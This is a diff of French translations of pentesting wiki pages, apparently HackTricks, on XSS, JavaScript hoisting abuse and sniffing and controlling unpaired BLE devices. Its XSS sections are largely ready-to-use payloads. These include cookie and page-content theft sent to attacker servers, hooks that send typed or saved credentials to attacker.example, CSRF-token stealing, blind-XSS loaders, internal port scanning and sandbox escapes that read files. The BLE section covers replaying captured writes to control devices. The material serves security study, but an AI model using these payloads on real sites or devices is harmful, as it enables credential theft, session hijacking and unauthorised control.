Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}", <user_input>)`** est utilisé, l'attaquant peut utiliser [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) pour tenter de contourner certaines protections : `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Par exemple dans [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
||||
Par exemple, dans [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
@ -993,7 +997,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
Si vous n'avez qu'un ensemble limité de chars à utiliser, consultez ces autres solutions valides pour les problèmes XSJail :
|
||||
Si vous n'avez qu'un ensemble limité de caractères à utiliser, consultez ces autres solutions valides pour les problèmes XSJail :
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1024,16 +1028,16 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **tout est undefined** avant d'exécuter untrusted code (comme dans [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) il est possible de générer des objets utiles « à partir de rien » pour abuser de l'exécution de arbitrary untrusted code :
|
||||
Si **everything is undefined** avant d'exécuter du code non fiable (comme dans [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code arbitraire non fiable :
|
||||
|
||||
- En utilisant import()
|
||||
- Using import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accéder à `require` indirectement
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont enveloppés par Node.js à l'intérieur d'une fonction, comme ceci :
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont encapsulés par Node.js dans une fonction, comme ceci :
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1267,7 +1271,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## Payloads XSS courants
|
||||
## XSS payloads courants
|
||||
|
||||
### Plusieurs payloads en 1
|
||||
|
||||
@ -1276,16 +1280,16 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
steal-info-js.md
|
||||
{{#endref}}
|
||||
|
||||
### Piège d'iframe
|
||||
### Iframe Trap
|
||||
|
||||
Permet de faire naviguer l'utilisateur dans la page sans sortir de l'iframe et de voler ses actions (y compris les informations envoyées dans les formulaires) :
|
||||
Forcer l'utilisateur à naviguer dans la page sans quitter l'iframe et dérober ses actions (y compris les informations envoyées via des formulaires) :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### Récupérer les cookies
|
||||
### Récupérer les Cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1308,9 +1312,9 @@ Permet de faire naviguer l'utilisateur dans la page sans sortir de l'iframe et d
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> Vous ne pourrez pas accéder aux cookies depuis JavaScript si le flag HTTPOnly est défini dans le cookie. Mais ici vous avez [quelques moyens de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez suffisamment de chance.
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le flag HTTPOnly est défini dans le cookie. Mais ici vous avez [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) si vous êtes assez chanceux.
|
||||
|
||||
### Steal Page Content
|
||||
### Voler le contenu de la page
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1323,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### Trouver les adresses IP internes
|
||||
### Trouver les IPs internes
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1399,7 +1403,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Les temps courts indiquent qu'un port répond_ _Les temps plus longs indiquent qu'il n'y a pas de réponse._
|
||||
_Les temps courts indiquent un port qui répond_ _Les temps plus longs indiquent l'absence de réponse._
|
||||
|
||||
Consultez la liste des ports bloqués dans Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) et dans Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
@ -1418,11 +1422,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Lorsque des données sont saisies dans le champ de mot de passe, le username et le password sont envoyés au serveur de l'attaquant ; même si le client sélectionne un mot de passe enregistré et n'écrit rien, les credentials seront ex-filtrated.
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
### Détourner les form handlers pour exfiltrer les credentials (const shadowing)
|
||||
|
||||
Si un handler critique (e.g., `function DoLogin(){...}`) est déclaré plus bas dans la page, et que votre payload s'exécute plus tôt (e.g., via un inline JS-in-JS sink), définissez d'abord un `const` portant le même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas rebind un nom `const`, laissant votre hook aux commandes :
|
||||
Si un handler critique (par ex., `function DoLogin(){...}`) est déclaré plus loin dans la page, et que votre payload s'exécute plus tôt (par ex., via un inline JS-in-JS sink), définissez d'abord une `const` portant le même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas réassocier un nom `const`, laissant votre hook aux commandes :
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1431,20 +1435,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
Remarques
|
||||
- Cela repose sur l'ordre d'exécution : votre injection doit s'exécuter avant la déclaration légitime.
|
||||
- Si votre payload est enveloppé dans `eval(...)`, les bindings `const/let` ne deviendront pas globaux. Utilisez la technique d'injection dynamique `<script>` de la section “Deliverable payloads with eval(atob()) and scope nuances” pour garantir une liaison globale réelle et non-rebindable.
|
||||
- Quand des filtres de mots-clés bloquent le code, combinez avec des identifiants échappés en Unicode ou une livraison via `eval(atob('...'))`, comme montré ci-dessus.
|
||||
- Cela dépend de l'ordre d'exécution : votre injection doit s'exécuter avant la déclaration légitime.
|
||||
- Si votre payload est enveloppé dans `eval(...)`, les bindings `const/let` ne deviendront pas globaux. Utilisez la technique d'injection dynamique `<script>` de la section “Deliverable payloads with eval(atob()) and scope nuances” pour garantir une liaison globale réelle, non réaffectable.
|
||||
- Quand des filtres par mots-clés bloquent du code, combinez avec des identifiants échappés en Unicode ou une livraison via `eval(atob('...'))`, comme montré ci-dessus.
|
||||
|
||||
### Keylogger
|
||||
|
||||
En recherchant simplement sur github, j'en ai trouvé plusieurs :
|
||||
En recherchant sur github, j'ai trouvé plusieurs exemples différents :
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Vous pouvez aussi utiliser metasploit `http_javascript_keylogger`
|
||||
|
||||
### Stealing CSRF tokens
|
||||
### Voler des CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1467,14 +1471,14 @@ window.onmessage = function(e){
|
||||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### Abuser des Service Workers
|
||||
### Abus des Service Workers
|
||||
|
||||
|
||||
{{#ref}}
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Accéder au Shadow DOM
|
||||
### Accès au Shadow DOM
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1488,9 +1492,9 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads pour Blind XSS
|
||||
### Blind XSS payloads
|
||||
|
||||
Vous pouvez aussi utiliser : [https://xsshunter.com/](https://xsshunter.com)
|
||||
Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
@ -1557,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Accéder au contenu caché
|
||||
|
||||
À partir de [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les retrouver dans des attributs JS d'objets différents. Par exemple, une entrée d'un REGEX peut encore être retrouvée après que la valeur d'entrée du REGEX a été supprimée :
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1581,11 +1585,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Abus d'autres vulnérabilités
|
||||
## XSS : abus d'autres vulnérabilités
|
||||
|
||||
### XSS dans Markdown
|
||||
|
||||
Peut-on injecter du code Markdown qui sera rendu ? Peut‑être que vous pouvez obtenir XSS ! Vérifiez :
|
||||
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1594,39 +1598,39 @@ xss-in-markdown.md
|
||||
|
||||
### XSS vers SSRF
|
||||
|
||||
Vous avez un XSS sur un **site qui utilise la mise en cache** ? Essayez de **le transformer en SSRF** via Edge Side Include Injection avec ce payload :
|
||||
Vous avez du XSS sur un **site qui utilise du caching** ? Essayez de **le transformer en SSRF** via Edge Side Include Injection avec ce payload :
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Utilisez-le pour contourner les restrictions des cookies, les filtres XSS et bien plus encore!\
|
||||
Utilisez-le pour contourner les restrictions de cookies, les filtres XSS et bien plus encore!\
|
||||
Plus d'informations sur cette technique ici : [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS dans un PDF créé dynamiquement
|
||||
### XSS in dynamic created PDF
|
||||
|
||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF afin qu'il **exécute du code JS arbitraire**.\
|
||||
Ainsi, si le **bot créateur de PDF trouve** une sorte de **HTML** **tags**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **Server XSS**.
|
||||
Si une page web génère un PDF en utilisant des données contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF afin qu'il **exécute du code JS arbitraire**.\
|
||||
Ainsi, si le **bot de création de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **Server XSS**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Si vous ne pouvez pas injecter de HTML tags, cela peut valoir la peine d'essayer d'**injecter des données PDF** :
|
||||
Si vous ne pouvez pas injecter de balises HTML, cela peut valoir la peine d'essayer d'**injecter des données PDF** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS dans Amp4Email
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP, conçu pour accélérer les performances des pages web sur les appareils mobiles, intègre des HTML tags complétés par JavaScript pour assurer la fonctionnalité en mettant l'accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, conçu pour accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par du JavaScript pour assurer la fonctionnalité en mettant l'accent sur la rapidité et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend certains composants AMP aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux emails, permettant aux destinataires d'interagir avec le contenu directement dans leurs emails.
|
||||
|
||||
Exemple [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS en téléversant des fichiers (svg)
|
||||
### XSS uploading files (svg)
|
||||
|
||||
Téléversez en tant qu'image un fichier comme le suivant (depuis [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)) :
|
||||
```html
|
||||
@ -1684,9 +1688,9 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Trouvez **plus de SVG payloads dans** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Trouvez **plus de payloads SVG dans** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Divers astuces JS et infos pertinentes
|
||||
## Divers trucs JS et infos pertinentes
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
Dans le langage JavaScript, un mécanisme connu sous le nom de **Hoisting** décrit que les déclarations de variables, fonctions, classes ou imports sont conceptuellement remontées en haut de leur scope avant l'exécution du code. Ce processus est effectué automatiquement par le moteur JavaScript, qui parcourt le script en plusieurs passes.
|
||||
Dans le langage JavaScript, un mécanisme connu sous le nom de **Hoisting** décrit comment les déclarations de variables, fonctions, classes ou imports sont conceptuellement remontées en haut de leur portée avant l'exécution du code. Ce processus est effectué automatiquement par le moteur JavaScript, qui parcourt le script en plusieurs passes.
|
||||
|
||||
Lors de la première passe, le moteur parse le code pour vérifier les erreurs de syntaxe et le transforme en arbre de syntaxe abstrait. Cette phase inclut le hoisting, un processus où certaines déclarations sont déplacées en haut du contexte d'exécution. Si la phase d'analyse est réussie, c'est‑à‑dire en l'absence d'erreurs de syntaxe, l'exécution du script se poursuit.
|
||||
Lors du premier passage, le moteur analyse le code pour vérifier les erreurs de syntaxe et le transforme en arbre de syntaxe abstraite. Cette phase inclut le hoisting, un processus où certaines déclarations sont déplacées en haut du contexte d'exécution. Si la phase d'analyse est réussie, c'est-à-dire sans erreur de syntaxe, l'exécution du script se poursuit.
|
||||
|
||||
Il est crucial de comprendre que :
|
||||
|
||||
1. Le script doit être exempt d'erreurs de syntaxe pour que l'exécution ait lieu. Les règles de syntaxe doivent être strictement respectées.
|
||||
2. Le placement du code dans le script affecte l'exécution à cause du hoisting, bien que le code exécuté puisse différer de sa représentation textuelle.
|
||||
1. Le script doit être exempt d'erreurs de syntaxe pour que l'exécution ait lieu. Les règles de syntaxe doivent être respectées strictement.
|
||||
2. Le placement du code dans le script affecte l'exécution à cause du hoisting, même si le code exécuté peut différer de sa représentation textuelle.
|
||||
|
||||
#### Types de Hoisting
|
||||
#### Types of Hoisting
|
||||
|
||||
D'après MDN, il existe quatre types distincts de hoisting en JavaScript :
|
||||
|
||||
1. **Value Hoisting** : Permet l'utilisation de la valeur d'une variable dans son scope avant sa ligne de déclaration.
|
||||
2. **Declaration Hoisting** : Permet de référencer une variable dans son scope avant sa déclaration sans provoquer une `ReferenceError`, mais la valeur de la variable sera `undefined`.
|
||||
3. Ce type modifie le comportement au sein de son scope en raison de la déclaration de la variable avant sa ligne de déclaration effective.
|
||||
1. **Value Hoisting** : Permet d'utiliser la valeur d'une variable dans sa portée avant sa ligne de déclaration.
|
||||
2. **Declaration Hoisting** : Autorise la référence à une variable dans sa portée avant sa déclaration sans provoquer de `ReferenceError`, mais la valeur de la variable sera `undefined`.
|
||||
3. Ce type modifie le comportement au sein de sa portée du fait que la déclaration de la variable est prise en compte avant sa ligne de déclaration effective.
|
||||
4. Les effets de bord de la déclaration se produisent avant que le reste du code qui la contient soit évalué.
|
||||
|
||||
Plus précisément, les déclarations de fonctions présentent le comportement de hoisting de type 1. Le mot-clé `var` présente le comportement de type 2. Les déclarations lexicales, qui incluent `let`, `const` et `class`, montrent le comportement de type 3. Enfin, les instructions `import` sont particulières en ce qu'elles sont hoistées avec à la fois les comportements de type 1 et de type 4.
|
||||
En détail, les déclarations de fonction présentent le comportement de hoisting de type 1. Le mot-clé `var` illustre le comportement de type 2. Les déclarations lexicales, qui incluent `let`, `const` et `class`, montrent le comportement de type 3. Enfin, les instructions `import` sont particulières : elles sont hoistées avec les comportements de type 1 et type 4.
|
||||
|
||||
## Scénarios
|
||||
## Scenarios
|
||||
|
||||
Par conséquent, si vous avez des scénarios où vous pouvez **injecter du code JS après qu'un objet non déclaré** est utilisé, vous pouvez **corriger la syntaxe** en le déclarant (ainsi votre code s'exécute au lieu de lever une erreur) :
|
||||
Donc si vous avez des scénarios où vous pouvez **Inject JS code after an undeclared object** est utilisé, vous pouvez **fix the syntax** en le déclarant (pour que votre code soit exécuté au lieu de lever une erreur) :
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -129,9 +129,9 @@ alert(1) -
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Préempter des déclarations ultérieures en verrouillant un nom avec const
|
||||
### Prendre les devants sur des déclarations ultérieures en verrouillant un nom avec const
|
||||
|
||||
Si vous pouvez exécuter du code avant que la déclaration `function foo(){...}` au niveau supérieur ne soit analysée, déclarer une liaison lexicale portant le même nom (par ex., `const foo = ...`) empêchera la déclaration de fonction ultérieure de réaffecter cet identifiant. Cela peut être exploité dans RXSS pour détourner des gestionnaires critiques définis plus loin dans la page :
|
||||
Si vous pouvez exécuter du code avant qu'une déclaration de haut niveau `function foo(){...}` ne soit analysée, déclarer une liaison lexicale portant le même nom (par ex., `const foo = ...`) empêchera la déclaration de fonction ultérieure de réassocier cet identifiant. Cela peut être abusé en RXSS pour détourner des gestionnaires critiques définis plus loin dans la page :
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
@ -144,8 +144,8 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Remarques
|
||||
- Cela dépend de l'ordre d'exécution et de la portée globale (niveau supérieur).
|
||||
- Si votre payload est exécuté à l'intérieur de `eval()`, souvenez-vous que `const/let` à l'intérieur de `eval` sont à portée de bloc et ne créeront pas de liaisons globales. Injectez un nouvel élément `<script>` contenant le code pour établir un véritable `const` global.
|
||||
- Cela repose sur l'ordre d'exécution et la portée globale (niveau supérieur).
|
||||
- Si votre payload est exécuté à l'intérieur de `eval()`, rappelez-vous que `const/let` à l'intérieur de `eval` sont à portée de bloc et ne créeront pas de liaisons globales. Injectez un nouvel élément `<script>` contenant le code pour établir un vrai `const` global.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
Disponible depuis la spécification Bluetooth 4.0, BLE n'utilise que 40 canaux, couvrant la plage de 2400 à 2483.5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux sur cette même plage.
|
||||
Disponible depuis la spécification Bluetooth 4.0, le BLE n'utilise que 40 canaux, couvrant la plage de 2400 à 2483,5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux dans cette même plage.
|
||||
|
||||
Les appareils BLE communiquent en envoyant des **advertising packets** (**beacons**) ; ces paquets diffusent l'existence de l'appareil BLE aux autres appareils à proximité. Ces beacons peuvent parfois aussi **envoyer des données**.
|
||||
Les appareils BLE communiquent en envoyant des **advertising packets** (**beacons**) ; ces paquets annoncent l'existence de l'appareil BLE aux autres appareils à proximité. Ces beacons transmettent parfois aussi des **données**.
|
||||
|
||||
Le dispositif à l'écoute, aussi appelé central device, peut répondre à un advertising packet par une **SCAN request** envoyée spécifiquement à l'appareil émetteur. La **response** à ce scan utilise la même structure que le **advertising** packet avec des informations supplémentaires qui n'ont pas pu tenir dans la requête publicitaire initiale, comme le nom complet de l'appareil.
|
||||
Le dispositif à l'écoute, aussi appelé central device, peut répondre à un advertising packet par une **SCAN request** envoyée spécifiquement à l'appareil émetteur. La **réponse** à ce scan utilise la même structure que le **advertising** packet avec des informations supplémentaires qui n'ont pas pu tenir dans la publicité initiale, comme le nom complet de l'appareil.
|
||||
|
||||
.png>)
|
||||
|
||||
L'octet de préambule synchronise la fréquence, tandis que l'adresse d'accès sur quatre octets est un identifiant de connexion, utilisé dans les scénarios où plusieurs appareils tentent d'établir des connexions sur les mêmes canaux. Ensuite, la Protocol Data Unit (**PDU**) contient les **advertising data**. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type de PDU **ADV_NONCONN_IND** s'ils **n'acceptent pas de connexions**, transmettant des données uniquement dans l'advertising packet. Les appareils utilisent **ADV_IND** s'ils **acceptent les connexions** et **cessent d'envoyer des advertising** packets une fois qu'une **connexion** a été **établie**.
|
||||
L'octet de préambule synchronise la fréquence, tandis que l'adresse d'accès de quatre octets est un **connection identifier**, utilisée dans des scénarios où plusieurs appareils essaient d'établir des connexions sur les mêmes canaux. Ensuite, la Protocol Data Unit (**PDU**) contient les **advertising data**. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type PDU **ADV_NONCONN_IND** s'ils **n'acceptent pas de connexions**, transmettant des données uniquement dans le advertising packet. Les appareils utilisent **ADV_IND** s'ils **acceptent les connexions** et **cessent d'envoyer des advertising** packets une fois qu'une **connection** a été **établie**.
|
||||
|
||||
### GATT
|
||||
|
||||
Le Generic Attribute Profile (GATT) définit comment le device doit formater et transférer les données. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous vous concentrerez souvent sur le GATT (ou les GATTs), car c'est ainsi que la fonctionnalité de l'appareil est déclenchée et comment les données sont stockées, groupées et modifiées. Le GATT liste les caractéristiques, descriptors et services d'un appareil dans un tableau sous forme de valeurs sur 16 ou 32 bits. Une **characteristic** est une valeur de **data** échangée entre le central device et le peripheral. Ces caractéristiques peuvent avoir des **descriptors** qui fournissent des informations supplémentaires à leur sujet. Les **characteristics** sont souvent **groupées** en **services** si elles sont liées à l'exécution d'une action particulière.
|
||||
Le **Generic Attribute Profile** (GATT) définit comment le **device** doit formater et transférer les données. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous vous concentrerez souvent sur le GATT (ou les GATT), car c'est ainsi que les **fonctionnalités de l'appareil sont déclenchées** et que les données sont stockées, groupées et modifiées. Le GATT liste les caractéristiques, descriptors et services d'un appareil dans une table sous forme de valeurs sur 16 ou 32 bits. Une **characteristic** est une valeur de **data** **envoyée** entre le central device et le périphérique. Ces caractéristiques peuvent avoir des **descriptors** qui **fournissent des informations supplémentaires à leur sujet**. Les **characteristics** sont souvent **groupées** en **services** si elles sont liées à l'exécution d'une action particulière.
|
||||
|
||||
## Énumération
|
||||
```bash
|
||||
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** permet d'établir une connexion avec un autre appareil, de lister les caractéristiques de cet appareil, et de lire et écrire ses attributs.\
|
||||
GATTTool peut lancer un shell interactif avec l'option `-I`:
|
||||
**GATTool** permet d'**établir** une **connexion** avec un autre appareil, d'énumérer les **caractéristiques** de cet appareil, et de lire et écrire ses attributs.\
|
||||
GATTTool peut lancer un shell interactif avec l'option `-I` :
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||
@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing et contrôle actif des périphériques BLE non appairés
|
||||
## Sniffing et contrôle actif des appareils BLE non appariés
|
||||
|
||||
De nombreux périphériques BLE bon marché n'appliquent pas le pairing/bonding. Sans bonding, le Link Layer encryption n'est jamais activé, donc le trafic ATT/GATT est en clair. Un off-path sniffer peut suivre la connexion, décoder les opérations GATT pour découvrir les characteristic handles et valeurs, et n'importe quel hôte à proximité peut ensuite se connecter et rejouer ces écritures pour contrôler le périphérique.
|
||||
Beaucoup de périphériques BLE bon marché n'appliquent pas le pairing/bonding. Sans bonding, le chiffrement du Link Layer n'est jamais activé, donc le trafic ATT/GATT est en clair. Un off-path sniffer peut suivre la connexion, décoder les opérations GATT pour découvrir les characteristic handles et leurs valeurs, et tout hôte à proximité peut ensuite se connecter et replay ces écritures pour contrôler l'appareil.
|
||||
|
||||
### Sniffing avec Sniffle (CC26x2/CC1352)
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed avec le firmware Sniffle du NCC Group.
|
||||
Matériel : un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashé avec le firmware Sniffle du NCC Group.
|
||||
|
||||
Installer Sniffle et son Wireshark extcap sur Linux:
|
||||
Installez Sniffle et son Wireshark extcap sur Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
@ -91,7 +91,7 @@ else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flasher le Sonoff avec le firmware Sniffle (assurez-vous que votre périphérique série est correct, p. ex. /dev/ttyUSB0):
|
||||
Flasher le Sonoff avec le firmware Sniffle (assurez-vous que votre périphérique série correspond, p. ex. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
@ -104,11 +104,11 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Capturez dans Wireshark via le Sniffle extcap et faites un pivot rapide vers les state-changing writes en filtrant :
|
||||
Capturez dans Wireshark via le Sniffle extcap et pivotez rapidement vers les écritures modifiant l'état en filtrant :
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Cela met en évidence les ATT Write Commands provenant du client ; le handle et la value correspondent souvent directement à des actions sur l'appareil (par ex., write 0x01 sur une buzzer/alert characteristic, 0x00 pour arrêter).
|
||||
